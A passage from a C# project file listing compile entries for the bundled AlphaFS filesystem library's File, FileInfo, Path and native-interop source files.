Methods\\File.GetAttributesExCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetChangeTimeCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetCompressedSizeCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetCreationTimeCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetEncryptionStatusCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetFileIdInfoCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetFileInfoByHandleCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetFileSystemEntryInfoCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetHashCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetLastAccessTimeCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetLastWriteTimeCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetLinkTargetInfoCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetProcessForFileLockCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetSizeCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ImportExportEncryptedFileDirectoryRawCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.IsLockedCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.OpenCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReadAllBytesCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReadAllLinesCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReadAllTextCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReadLinesCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReplaceCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.SetAccessControlCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.SetAttributesCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.SetFsoDateTimeCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.WriteAllBytesCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.WriteAppendAllLinesCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.Decrypt.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.Encrypt.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.ExportEncryptedFileRaw.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.GetEncryptionStatus.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.ImportEncryptedFileRaw.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.CreateHardLink.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.CreateHardLinkTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.CreateSymbolicLink.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.CreateSymbolicLinkTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.EnumerateHardLinks.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.EnumerateHardLinksTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.GetLinkTargetInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.GetLinkTargetInfoTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.CopyTimestamps.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.CopyTimestampsTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetChangeTime.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetChangeTimeTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetChangeTimeUtc.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetChangeTimeUtcTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetCreationTime.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetCreationTimeTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetCreationTimeUtc.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetCreationTimeUtcTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastAccessTime.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastAccessTimeTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastAccessTimeUtc.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastAccessTimeUtcTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastWriteTime.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastWriteTimeTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastWriteTimeUtc.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastWriteTimeUtcTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetCreationTime.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetCreationTimeTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetCreationTimeUtc.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetCreationTimeUtcTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastAccessTime.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastAccessTimeTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastAccessTimeUtc.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastAccessTimeUtcTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastWriteTime.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastWriteTimeTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastWriteTimeUtc.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastWriteTimeUtcTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetTimestamps.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetTimestampsTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetTimestampsUtc.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetTimestampsUtcTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendAllLines.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendAllLinesTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendAllText.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendAllTextTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendText.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendTextTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AttributeLogic.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Create.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.CreateText.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.CreateTextTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.CreateTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Delete.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.DeleteTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.EnumerateAlternateDataStreams.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.EnumerateAlternateDataStreamsTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Exists.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ExistsTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.FindFirstStreamNative.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetAccessControl.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetAttributes.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetAttributesTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileIdInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileIdInfoTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileInfoByHandle.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileInfoByHandleTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileSystemEntryInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileSystemEntryInfoTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetHash.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetHashTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetProcessForFileLock.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetProcessForFileLockTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetSize.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetSizeTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.IsLocked.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.IsLockedTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Open.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenBackupRead.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenBackupReadTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenRead.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenReadTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenText.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenTextTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenWrite.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenWriteTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllBytes.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllBytesTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllLines.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllLinesTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllText.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllTextTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadLines.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadLinesTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Replace.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.SetAccessControl.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.SetAttributes.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.SetAttributesTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ThrowIOExceptionIfFsoExist.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllBytes.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllBytesTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllLines.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllLinesTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllText.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllTextTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileIdBothDirectoryInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo Compression\\FileInfo.Compress.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo Compression\\FileInfo.Decompress.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo CopyToMoveTo\\FileInfo.CopyTo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo CopyToMoveTo\\FileInfo.CopyToMoveToCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo CopyToMoveTo\\FileInfo.MoveTo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo Encryption\\FileInfo.Decrypt.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo Encryption\\FileInfo.Encrypt.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.AppendText.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.Create.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.CreateText.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.Delete.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.EnumerateAlternateDataStreams.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.GetAccessControl.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.GetFileIdInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.GetHash.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.IsLocked.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.Open.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.OpenRead.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.OpenText.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.OpenWrite.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.RefreshEntryInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.Replace.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.SetAccessControl.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileSystemEntryInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FileSystemInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\FindFileSystemEntryInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\KernelTransaction.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\AlternateDataStreamInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\BackupFileStream.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\BackupStreamInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\LinkTargetInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\SymbolicLinkTargetInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.BackupStreams.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.Constants.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.DeviceManagement.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.DirectoryManagement.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.DiskManagement.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.EncryptedFileRaw.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.FileManagement.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.Handles.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.KernelTransactions.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.PathManagement.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.Shell32.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.Utilities.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.VolumeManagement.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\BY_HANDLE_FILE_INFORMATION.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\COPY_FILE_FLAGS.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILETIME.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILE_BASIC_INFO.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILE_ID_BOTH_DIR_INFO.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILE_ID_INFO.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILE_INFO_BY_HANDLE_CLASS.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FINDEX_INFO_LEVELS.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FINDEX_SEARCH_OPS.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FIND_FIRST_EX_FLAGS.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\GET_FILEEX_INFO_LEVELS.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\MountPointReparseBuffer.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\MOVE_FILE_FLAGS.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\ReparseDataBufferHeader.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\REPARSE_DATA_BUFFER.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\SP_DEVICE_INTERFACE_DATA.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\SP_DEVICE_INTERFACE_DETAIL_DATA.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\SP_DEVINFO_DATA.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\STREAM_ATTRIBUTE.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\STREAM_ID.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\STREAM_INFO_LEVELS.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\SymbolicLinkReparseBuffer.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\VOLUME_INFO_FLAGS.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\WIN32_FILE_ATTRIBUTE_DATA.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\WIN32_FIND_DATA.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\WIN32_FIND_STREAM_DATA.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Native Other\\WIN32_STREAM_ID.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.AddTrailingDirectorySeparatorCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.CombineCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetDirectoryNameCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetDirectoryNameWithoutRootCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetExtensionCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetFileNameCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetFileNameWithoutExtensionCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetFinalPathNameByHandleCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetFullPathCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetLongPathCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetLongShort83PathCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetPathRootCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetRegularPathCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetSuffixedDirectoryNameCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetSuffixedDirectoryNameWithoutRootCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetTempPathCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.IsPathRootedCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.IsUncPathCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.LocalToUncCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.RemoveTrailingDirectorySeparatorCore.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.AddTrailingDirectorySeparator.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.ChangeExtension.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.Combine.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.Constants.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetDirectoryName.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetDirectoryNameWithoutRoot.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetDirectoryNameWithoutRootTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetExtension.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFileName.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFileNameWithoutExtension.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFinalPathNameByHandle.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path 